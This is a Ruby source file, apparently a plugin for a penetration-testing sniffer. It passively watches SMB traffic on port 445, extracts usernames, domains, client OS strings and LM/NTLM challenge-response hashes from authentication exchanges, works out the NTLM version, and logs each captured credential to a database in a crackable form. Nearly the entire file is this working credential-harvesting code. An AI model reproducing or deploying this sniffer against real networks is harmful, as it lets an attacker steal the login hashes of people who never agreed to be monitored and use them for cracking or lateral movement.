# Psnuffle password sniffer add-on class for smb
# part of psnuffle sniffer auxiliary module
#
# When db is available reports go into db
#

#Memo : 
#FOR SMBV1
	# Authentification without extended security set
		#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec  =  0
		#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec  =  0 and contains server challenge (aka encryption key) and wordcount = 17
		#3) client -> server : smb_setup_andx (0x73) : contains lm/ntlm hashes and wordcount = 13 (not 0)
		#4) server -> client : smb_setup_andx (0x73) : if status = success then authentification ok

	# Authentification with extended security set
		#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec  =  1
		#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec  =  1
		#3) client -> server : smb_setup_andx (0x73) : contains an ntlm_type1 message
		#4) server -> client : smb_setup_andx (0x73) : contains an ntlm_type2 message with the server challenge
		#5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes
		#6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok
#FOR SMBV2
	#SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response 

class SnifferSMB < BaseProtocolParser

	def register_sigs
		self.sigs = {
			:smb1_negotiate		=> /\xffSMB\x72/n,
			:smb1_setupandx		=> /\xffSMB\x73/n,
			#:smb2_negotiate	=> /\xFESMB\x40\x00(.){6}\x00\x00/n,
			:smb2_setupandx		=> /\xFESMB\x40\x00(.){6}\x01\x00/n
		}
	end

	def parse(pkt)
		# We want to return immediatly if we do not have a packet which is handled by us
		return unless pkt.is_tcp?
		return if (pkt.tcp_sport != 445 and pkt.tcp_dport != 445)
		s = find_session((pkt.tcp_sport == 445) ? get_session_src(pkt) : get_session_dst(pkt))

		self.sigs.each_key do |k|
			# There is only one pattern per run to test
			matched = nil
			matches = nil

			if(pkt.payload =~ self.sigs[k])
				matched = k
				matches = $1
			end

			case matched
			when :smb1_negotiate
				payload = pkt.payload.dup
				wordcount = payload[36,1].unpack("C")[0]
				#negotiate response
				if wordcount == 17
					flags2 = payload[14,2].unpack("v")[0]
					#the server challenge is here
					if flags2 & 0x800 == 0
						s[:challenge] = payload[73,8].unpack("H*")[0]
						s[:last]  = :smb1_negotiate
					end
				end

			when :smb1_setupandx
				s[:smb_version]  = "SMBv1"
				parse_sessionsetup(pkt, s)
			when :smb2_setupandx
				s[:smb_version]  = "SMBv2"
				parse_sessionsetup(pkt, s)
			when nil
				# No matches, no saved state
			else
				sessions[s[:session]].merge!({k => matches})
			end # end case matched

		end # end of each_key
	end # end of parse

	#ntlmv1, ntlmv2 or ntlm2_session
	def detect_ntlm_ver(lmhash, ntlmhash)
		return "NTLMv2" if ntlmhash.length > 48
		if lmhash.length == 48 and ntlmhash.length == 48
			if lmhash != "00" * 24 and lmhash[16,32] == "00" * 16
				return "NTLM2_SESSION"
			else
				return "NTLMv1"
			end
		else
			raise RuntimeError, "Unknow hash type"
		end
	end

	def parse_sessionsetup(pkt, s)
		payload = pkt.payload.dup
		ntlmpayload = payload[/NTLMSSP\x00.*/m]
		if ntlmpayload
			ntlmmessagetype = ntlmpayload[8,4].unpack("V")[0]
			case ntlmmessagetype
			when 2 # challenge
				s[:challenge] = ntlmpayload[24,8].unpack("H*")[0]
				s[:last] = :ntlm_type2
			when 3 # auth
				if s[:last] == :ntlm_type2
					lmlength = 	ntlmpayload[12, 2].unpack("v")[0]
					lmoffset = 	ntlmpayload[16, 2].unpack("v")[0]
					ntlmlength = 	ntlmpayload[20, 2].unpack("v")[0]
					ntlmoffset = 	ntlmpayload[24, 2].unpack("v")[0]
					domainlength = 	ntlmpayload[28, 2].unpack("v")[0]
					domainoffset = 	ntlmpayload[32, 2].unpack("v")[0]
					usrlength = 	ntlmpayload[36, 2].unpack("v")[0]
					usroffset = 	ntlmpayload[40, 2].unpack("v")[0]

					s[:lmhash] = 	ntlmpayload[lmoffset, lmlength].unpack("H*")[0] || ''
					s[:ntlmhash] =      ntlmpayload[ntlmoffset, ntlmlength].unpack("H*")[0] || ''
					s[:domain] =	ntlmpayload[domainoffset, domainlength].gsub("\x00","") || ''
					s[:user] =		ntlmpayload[usroffset, usrlength].gsub("\x00","") || ''

					secbloblength = payload[51,2].unpack("v")[0]
					names = (payload[63..-1][secbloblength..-1] || '').split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
					s[:peer_os]   = names[0] || ''
					s[:peer_lm]   = names[1] || ''
					s[:last] = :ntlm_type3
				end
			end
		else
			wordcount = payload[36,1].unpack("C")[0]
			#authentification without smb extended security (smbmount, msf server capture)
			if wordcount == 13 and s[:last]  == :smb1_negotiate and s[:smb_version]  == "SMBv1"
				lmlength = 	payload[51,2].unpack("v")[0]
				ntlmlength = 	payload[53,2].unpack("v")[0]
				s[:lmhash] = 	payload[65,lmlength].unpack("H*")[0]
				s[:ntlmhash] =  payload[65 + lmlength, ntlmlength].unpack("H*")[0]
			
				names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') }

				s[:user] = names[0]
				s[:domain]   = names[1]
				s[:peer_os]   = names[2]
				s[:peer_lm]   = names[3]
				s[:last] = :smb_no_ntlm
			else
				#answer from server
				if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm
					#do not output anonymous/guest logging
					unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m
						#set lmhash to a default value if not provided						   	
						s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m 
						s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash]

						smb_status = payload[9,4].unpack("V")[0]
						if smb_status == 0 # success

							ntlm_ver = detect_ntlm_ver(s[:lmhash],s[:ntlmhash])

							logmessage =
								"#{ntlm_ver} Response Captured in #{s[:smb_version]} session : #{s[:session]} \n" +
								"USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" +
								"SERVER CHALLENGE:#{s[:challenge]} " + 
								"\nLMHASH:#{s[:lmhash]} " + 
								"\nNTHASH:#{s[:ntlmhash]}\n"
							print_status(logmessage)

							src_ip = s[:client_host]
							dst_ip = s[:host]
							# know this is ugly , last code added :-/
							smb_db_type_hash = case ntlm_ver
							       when "NTLMv1" 		then "smb_netv1_hash"
							       when "NTLM2_SESSION" 	then "smb_netv1_hash"
							       when "NTLMv2" 		then "smb_netv2_hash"
							       end
							# DB reporting
							report_auth_info(
								:host  => dst_ip,
								:port => 445,
								:sname => 'smb',
								:user => s[:user],
								:pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
								:type => smb_db_type_hash,
								:proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}",
								:active => true
							)

							report_note(
								:host  => src_ip,
								:type  => "smb_peer_os",
								:data  => s[:peer_os]
							) if (s[:peer_os] and s[:peer_os].strip.length > 0)

							report_note(
								:host  => src_ip,
								:type  => "smb_peer_lm",
								:data  => s[:peer_lm]
							) if (s[:peer_lm] and s[:peer_lm].strip.length > 0)

							report_note(
								:host  => src_ip,
								:type  => "smb_domain",
								:data  => s[:domain]
							) if (s[:domain] and s[:domain].strip.length > 0)

						end
					end
				end
				s[:last] = nil
				sessions.delete(s[:session])
			end
		end
	end
end
